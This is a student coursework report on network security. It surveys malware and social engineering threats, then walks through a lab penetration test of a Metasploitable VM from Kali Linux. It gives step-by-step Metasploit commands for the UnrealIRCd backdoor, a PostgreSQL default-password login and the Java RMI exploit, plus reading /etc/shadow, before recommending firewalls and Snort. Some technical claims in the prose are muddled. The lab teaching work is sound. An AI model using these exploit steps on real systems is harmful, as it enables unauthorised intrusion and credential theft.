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Network Security Challenges 
Security challenges can arise within networks as well as the servers that are hosted on the network 
causing a threat for the sensitive information that is sustained within the servers as it can more than 
likely store such sensitive information. How security challenges apply to networks is by perpetrators 
exploiting those who manage the networks or servers that may be targeted, or the system itself in 
relation to malwares that can potentially infect a system using packet listener techniques in order to 
read the information that the network may receive when communicating to a computer host and 
delivering information back to the server, which perpetrators can use in order to read the data that is 
being transferred and use it for potential attacks such as spreading other malwares if sensitive 
information to emails or social media accounts is sustained.  
 

Malware 
[2]Malwares can become a massive threat in regards to networks and servers in a lot of instances, it 
can be undetectable under virus scans due to how it could’ve infected the actual software as many 
malwares don’t need to be detected within the kernel of a server in order for it to perform since it 
can be installed by the servers GPU if present or by intercepting the network traffic as it listens to 
packets of information between a client and a server if the network is attacked which is also known 
as “sniffing”. Privilege escalation can go hand in hand with malwares within a server as perpetrators 
use malwares in order to give admin access to normal accounts, if the malware somehow is granted 
administrative permissions which can be a huge threat within servers. After privileges have been 
granted from the malware the perpetrator then uses the permissions, they were granted to obtain 
sensitive information from the server leading to an offspring of data leaks that can occur or the 
selling of private information.  

Fig. Detailing the various types of Malware. 

It can become a huge threat if the permissions that the malware grants the perpetrator and locates 
the network and finds the private credentials of the network host as it leads to a chain of other 
servers that may potentially be hosted from the network. The impact this causes on a network in 
relation to servers being hosted is that it then can infect the other using the malware as it can use 
the network in order to grant themselves permissions using privilege escalation to the other servers 
growing the potential damage of the attack leading to a damaged reputation of an organization due 
to the size of how the attack can possibly be. 
  



Social Engineering 
Another challenge that poses a threat to network security is social engineering. Unlike other 
common methods of attacking a network, social engineering involves attackers using psychological 
manipulation to fool users of a secure network into making fatal mistakes that could lead to giving 
the attackers unauthorised access to the network. This can include giving away sensitive information 
by misleading unsuspecting users through multiple steps into compromising their security, the 
attackers then use this information as a steppingstone to gain access to a network by exploiting the 
weakest link in the chain of security: people.  

 
Fig. detailing the life cycle of a social engineering attack. (Imperva) 

[1] There are different methods to social engineering, for example, phishing. This is the most common 
form of social engineering attack and occurs by attackers exploiting human error to steal important 
credentials or infect networks with malware. This is usually done using suspicious attachments found 
in emails or malicious websites designed to trick visitors. Another form of this is baiting, a method of 
social engineering where attackers tempt users into compromising network security by employing 
various tricks, like handing them fake, infected “trojan” devices. [4] In July 2020, attackers targeted a 
group of Twitter employees using a phone spear phishing attack. This attack relies on simple yet 
misleading tactics to trick targeted employees into giving up access to their internal networks by 
exploiting their humane vulnerabilities through phone calls and emails, typically by impersonating 
someone trusted within the company. In this particular attack, which was reported on by BBC, the 
attackers targeted employees with account control privileges, allowing them to gain access to 
celebrity twitter accounts by finding their user credentials on Twitter’s internal management system. 
The attackers placed phone calls to the targeted employees pretending to be from their Information 
Security Department, which seemed to be enough for the employees who did not do any more to 
verify the caller’s identity before giving access. This attack led to compromised popular twitter 
accounts being made to send out links to bitcoin scams which netted the perpetrators a total of 
$118,000 from unsuspecting followers of the affected accounts. However, the fallout from the attack 
did just as much damage. When Twitter decided to lock and restrict many accounts trying to resolve 
the issue, many public institutions were unable to send out critical information, for example, the US 
National Weather Service was unable to tweet an advisory tornado warning.  
 



Network Testing Strategy 
 

 

 

 

 

 

 

Fig.1 Diagram detailing the structure of the prototype type. 

 

Within the diagram above, shows two figures which is the Kali Linux virtual machine as it contains 

tools such as Metasploit software as well as having the power to send information in the format of 

http traffic. For the Kali Linux machine to carry out its attacks it sends commands towards the 

Metasploit server from the analysation of the Metasploit server vulnerabilities which is important in 

finding the best possible attack on the Metasploit server. 

During our testing strategy process, we had a vulnerability scan that was ran by the OpenVAS 

vulnerability scan on the targeted server which is the Metasploit server which detailed many 

vulnerabilities that were present within the operating system from the influence of the severity score 

from the Greenbone platform. 

The first test that had been carried out by our group was the NMAP scan of the Metasploit server IP 

which was a successful test as it had included many open ports which we can use in our advantage in 

order to carry out specific attacks such as listening related exploits which can be used to gain 

sensitive information that may be flowing in the form of traffic from a database to the Metasploit 

server. More information on the open ports of the Metasploit server will be seen in the figure below: 

:  

Fig 2. Scanning for open ports using Ubuntu Linux 

After doing research online in what attacks could be attempted in the presence of open ports, we 

had decided to carry out a vulnerability scan using the Greenbone OpenVAS software in which 



highlighted what vulnerabilities could be attempted on the specific operating system such as attacks 

that don’t even need open ports to be present. From the results after the scan had been completed 

on the Metasploit system, we found that it had a total of 29 high severity class vulnerabilities, leading 

us to choose three of the vulnerabilities it uses in the relation of carrying out an attack using the Kali 

Linux attacker machine. 

 Figures of the scans will be shown below: 

 

 

During further investigations in the relation to the penetration testing of the network which in this 

case is the Metasploit virtual environment, we found a program built by the company OWASP which 

specialises in the firmware penetration of the environment(owasp.org, n.d.).  

How it undergoes the penetration testing of the system is that it divides each stage of testing in 

stages where there's a stage in gathering as much information about the operating system such as 



the CPU architecture, operating system, threat models and so on as it goes in testing to see get an 

idea of processes that are being used by the target have any vulnerabilities that an attacker may be 

able to use in order to heighten their privileges within the target for example. 

 

Stage 2 is now the process where the firmware is obtained by using the range of methods such as 

man in the middle method or by sniffing the serial communication within hardware components. 

There are much more methods that are built in within the OWASP penetration framework as it 

allows the tester to start reviewing the framework contents to be used in analysation. 



 

Stage 3 and 4 now undergoes the analysation of the frame ware and the extraction of the data so it 

can look within the parsing relative filesystem data (owasp.org, n.d.). By using the methods above 

the penetration tester will then obtain the framework image allowing the tester to analyse file types 

and metadata that can have hidden string data that can lead to a potential data breach. During stage 

4 the review of uncompiled code and devices connected to the hardware of the targeted network are 

analysed using analysation methods which have been spoken about previously to view if any 

malicious content or if the configuration of the hardware devices may have been altered in an 

irregular fashion.  

Within Linux systems which in this case will be the Metaexploit operating system, vulnerable files 

such as the etc/shadow and etc/passwd files can become threats in regards of changing privileges for 

users which can become very troubling if an attacker had very high system privileges. With the 

penetration framework tester, an Indepth system scan of these files will highlight the users with 

admin permissions and banned c functions within the systems or if any injection vulnerable functions 

have been installed recently and mitigate such risk if you don’t recognise the results you find within 

the result of the scan which can lead to the operating system to be more secure than before the 

framework vulnerability scan. 



 

 

 Network Attack Demonstration & Test Results 
With the results from the vulnerability scan, it was clear that there were many points of insecurity 

within the network that needed to be addressed, evaluated, and amended. To begin this process, a 

number of various vulnerabilities were chosen from the OpenVAS report to be used in an exploit test 

that was carried out in a controlled isolated environment. 

Issue 1 – Check for backdoor in UnrealIRCd 

 

Fig 7. Greenbone report displaying backdoor vulnerability in UnrealICd 

Backdoor in UnrealIRd was one of the high security vulnerabilities found whilst using 

Greenbone/OpenVAS to scan for vulnerabilities. This means that remote attackers were able to 

execute arbitrary system commands within the application through the exploitation. 

 



The following steps to execute the exploit are shown below: 

Step Screenshot Process 
1 Search for the list of exploits connected to 

unreal 
(Search Unreal) 

2 Select the exploit 
(use 
exploit/unix/irc/unreal_ircd_3281_backdoor) 
Show the module options 
(show options) 
Then set RHOST to the IP address of target 
machine 
(set RHOST 192.168.253.129) 

3 Show payloads 
(show payloads) 

4 Set the payload 
(set payload cmd/unix/bind_ruby) 
Show options again to ensure set information 
is correct 
(show options) 

5 Run the exploit 
(exploit) 

 



 

Fig 8. Commands allowing access to target machine information 

As shown in figure 8 above, after the completion of the backdoor attack, the network interface 

configuration information was attainable. 

 

Fig 9. Command to access encrypted password 

Using the command grep root /etc/shadow, we were able to extract the root encrypted password 

located in the shadow file. The ability to access this data exhibits a high level of user privilege. 

​
Issue 2 – PostgreSQL weak password 

 

Fig 10. Greenbone identification of weak PostgreSQL password 

A vulnerability highlighted by Greenbone was the weak PostgreSQL password. By changing the 

password to postgres, it was possible to brute force into the PostgreSQL server as user postgres. The 

weak credentials left the server vulnerable, allowing it to be compromised. 

The process is displayed in table 2 below: 

Step Screenshot Process 



1 ​

 
 

Login to postgres 
(use 
auxiliary/scanner/postgres/postgres_login) 
Show module options 
(show options) 

2 

​
 
 

Set the username to postgres 
(set USERNAME postgres) 
Set the username as the password 
(set USER_AS_PASS true) 
Set the RHOST to the IP address of the 
target machine 
(set RHOSTS 192.168.253.129) 
Run exploit 
(run) 
 

3 

​
 
 

After exploit has finished running, open new 
tab and enter login credentials for user 
postgres 
(psql -h 192.168.253.129 -U postgres) 
Enter password 
(postgres) 

4 

 

Look at list of databases on the server 
(\l) 
Connect to one of the available databases 
(\c template 1) 

 

 

 

 



 

Issue 3 – Java RMI Server 

 

Fig 11. Command to access encrypted password 

Another issue pinpointed by Greenbone was the insecurity of the Java RMI configuration. Due to an 

incorrect default configuration of the remote method invocation (RMI) server, a remote attacker is 

able to exploit the server. This is achievable through the transmission of crafted packets into the 

server. After the completion of the exploit the attacker would have elevated system privileges, 

enabling them to execute arbitrary code. 

Step Screenshot Process 
1 

​
 
 

Enter the exploit command for the 
Java RMI Server 
(Use 
exploit/multi/misc/java_rmi_server) 
Show module options 
(show options) 
 



2 

​
 
 

Set RHOST to IP address of the target 
machine 
(set RHOST 192/168.253.129) 
Run exploit 
(run) 

3 ​

 

Get the name of the server 
(getuid) 

 

 

Fig 12. List of System, User Interface and Webcam commands 

 

Fig 13. List of File System commands 

As displayed in the figures above, through this exploit we were able to reach the highest level of 

privilege. Using this privilege, it was feasible to access all areas of the system. This is inclusive of the 

capability of accessing/altering data and webcam control. 



Network Fortification and Recommendations 
After understanding the security issues within the network, the next step was to begin looking at 

how it could be improved to mitigate the vulnerabilities discovered. This involved employing a 

number of tools that would work to prevent these exploits from being used maliciously, any issues 

that required more resources than we were able to use were given recommendations of action that 

readers could learn from to prevent and/or mitigate any future attacks targeting the vulnerabilities 

mentioned. 

Firewalls 

Firewalls are network security devices capable of monitoring and filtering network traffic. Data 

packets can also be blocked based on the security rules in place. Using firewalls, a separation 

between traffic from external sources and an internal network can be formed. This barrier aids in 

ceasing attacks and stopping malware. 

 

Fig 14. Firewall filtering incoming traffic 

 

Snort IDS/IPS 
In order to improve the level of security within the network, SNORT can be implemented. SNORT is a 
free open source intrusion detection system (IDS) and intrusion prevention system (IPS). The system 
is capable of examining and inspecting packets traversing across the network, detecting any possibly 
harmful payloads, along with any abnormalities. Furthermore, SNORT can be used as a packet logger, 
allowing it to debug network traffic. 

 
Fig 15. SNORT topology 

Benefits of an Intrusion Detection System 



-​ Can be installed as a host-based intrusion detection system (HIDS), providing the advantage 

of any attempts of files being re-written or changed being detected, along with other 

suspicious activity. 

-​ Capable of monitoring firewalls, files, routers and servers 

-​ After a breach has been detected, an alarm is raised, and alerts are sent out to notify users 

-​ Aids the administrator with the implementation of effective controls through the analysation 

of various forms of attacks and patterns 

-​ The signature database provides a quick response to malicious software with a high accuracy, 

resulting in less false alerts 

Benefits of an Intrusion Prevention System 

-​ Prevent DoS/DDoS attacks 

-​ Identify and stop OS fingerprinting attempts used by attackers to figure out the target system 

OS so it can be exploited. 

-​ Capture intruders in real time during instances where the antivirus may have been bypassed 

or missed the trespasser 

-​ Stop attempts consisting of finding open ports on specific hosts 

-​ Prevent attacks on SSL protocol 

-​ As IPS only records network activity when malicious activity has been detected, user’s 

privacy can be upheld 

 

UnrealICd 

 

Fig 16. Intrusion Detection System 

SNORT contains an Intrusion Detection System capable of monitoring the packets traversing the 

network and identifying patterns that match other attacks through the signatures. Additionally, the 

implementation of a firewall could track incoming and outgoing visitors on the system. The nmap 

alerts provided by SNORT will also notify the host when any suspicious activity is being carried out.  

PostgreSQL 

To improve the security, a more secure password needs to be selected. The Intrusion Prevention 

System will protect the server from attacks against the SSL protocol whilst simultaneously catching 

any trespassers in the event the protection is bypassed. 



 

Fig 17. Intrusion Prevention System 

 

 

Java RMI 

To mitigate the packet crafting vulnerability, SNORT can be used to carry out packet inspections, 
discerning any harmful payloads. The employment of HIDS would provide an extra layer of security in 
the event there has been a bypass and the attacker is attempting to alter data as it would be 
detected. Moreover, in the scenario there has been unauthorised access or a suspicion of the 
execution of arbitrary code, SNORT is capable of detecting the activity and notifying the 
administrator. 

 
Fig 18. Nmap alert displaying IP address of attacker 

 

Reflective Statements 
********* ********* 
Although this project started off seemingly complex, working through it with my group allowed us to 

surpass the obstacles we faced in the beginning to then start setting up our prototype network. We 

chose to work through question 2b, which had us working with Kali Linux and Metasploit to connect 

them under one internal network. Initially we made the mistake of attempting to use Ubuntu instead 

of kali which lacked the security tools necessary to carry out the tasks we were given. However, when 

we made the move to Kali, setting up the prototype network became a lot easier as we managed to 

work through the process quite efficiently despite the technical difficulties we faced. Because the 

network was able to be setup on one computer using virtual stations, splitting up the tasks required 

between our group evenly was more of a task than it first seemed. But we eventually employed a 

‘hotseat’ method which had at least one person constantly working on the network, this method 



required effective communication in order to keep the workflow consistent and the work quality 

good. When contributing to the project, I played a role in these specific areas: 

●​ Writing the introduction to question 1 which detailed the threat of existing security 

challenges to networks 

●​ Researching and evaluating two security challenges for networks 

●​ The setting up of the network, namely the final part which involved using the IP’s of both 

endpoints (Kali’s virtual machine and Metasploit’s IP) to connect them and finalise the 

creation of the prototype network 

●​ Running a vulnerability scan of the network using OpenVAS to create a report of all 

weaknesses and vulnerabilities within the target (metasploit) 

●​ Capturing screenshots of the previous two tasks 

******** ******** 
During the beginning of the project, we had struggled in getting started as we ran into problems such 

as the WIFI connection not being available on the virtual environments such as Kali Linux and 

Metasploit which was then fixed by changing the network type within the VM settings to NAT type. 

However, this didn’t stall the progression of the project as we shown great communication within  

ourselves as a group and worked very hard in completing question 2b together as I had the task to 

type the commands within Kali Linux and Metasploit and figured out how to run the exploit via Kali 

Linux targeting Metasploit which had worked successfully, leading to Tomiwa to use the same format 

in completing a further two vulnerability attacks within Metasploit.  

During our curriculum this year, it had specified in learning the basics within Linux commands as we 

had also dove into firewall installations and the scanning of vulnerabilities within the Linux operating 

system which had aided us to complete the coursework without much confusion as we had practiced 

for many weeks. With this knowledge it had helped me gain confidence in looking for other 

vulnerability scanners that can help in the aid of our project which also led to the use of the 

Greenbone vulnerability scanner used in question 2 to further our research in finding vulnerabilities 

within Metasploit to attack and write our findings about them, especially linking such findings to the 

Severity score. Furthermore, we had decided to split each question to one question between each 

other which led me to doing part of question 1 with Chris and question 3. My job was to investigate 

and detail the attacks we wanted to carry out using the findings from Greenbone which also assisted 

Tomiwa who was in charge of completing question 4 with a detailed analysis on the high vulnerability 

severity scores which made it easier for us to find out the best attacks for Metasploit.  

Tomiwa Oladejo (N0940282) 
The curriculum for the module encompassed the basics on Linux and understanding how to network 

between Kali and Metasploitable. Working through the labs allowed me to build the foundation of 

my comprehension of the system, inclusive of the skills required to complete tasks. Additionally, the 

module displayed security systems which can be put in place to defend against attacks. 

When the project started, we encountered some complications and variables, resulting in a few 

setbacks. As we attempted to setup question 2b, we came to the realisation the connection between 

Ubuntu and Metasploitable under an internal network was not a viable solution. However, as time 

passed, we were able to overcome any complications which arose through effective teamwork and 

communication. After switching Ubuntu with Kali, the network became simpler to setup.  

As tasks were divided between the group, I was tasked with the completion of question 4. This 

consisted of: 



●​ Carrying out the security testing strategy 

●​ Detailing the results obtained in a step-by-step manner 

●​ Making recommendations on how the security of the network may have been improved 

●​  How to raise the level of security of the OS to meet the needs for internet readiness. 

Whilst attempting to learn and understand the Kali and Metasploitable framework, I faced several 

challenges. The perseverance of executing various exploits, from when a connection to the host 

machine was not set to discerning which modules were of significance for the specific exploit, gave 

me the opportunity to build a cognizant understanding of the similarities and links around the 

system’s framework. Making recommendations regarding the security of the network challenged me 

to delve deeper into the root of the vulnerabilities and potential safeguards that could be integrated 

to reduce these risks. 
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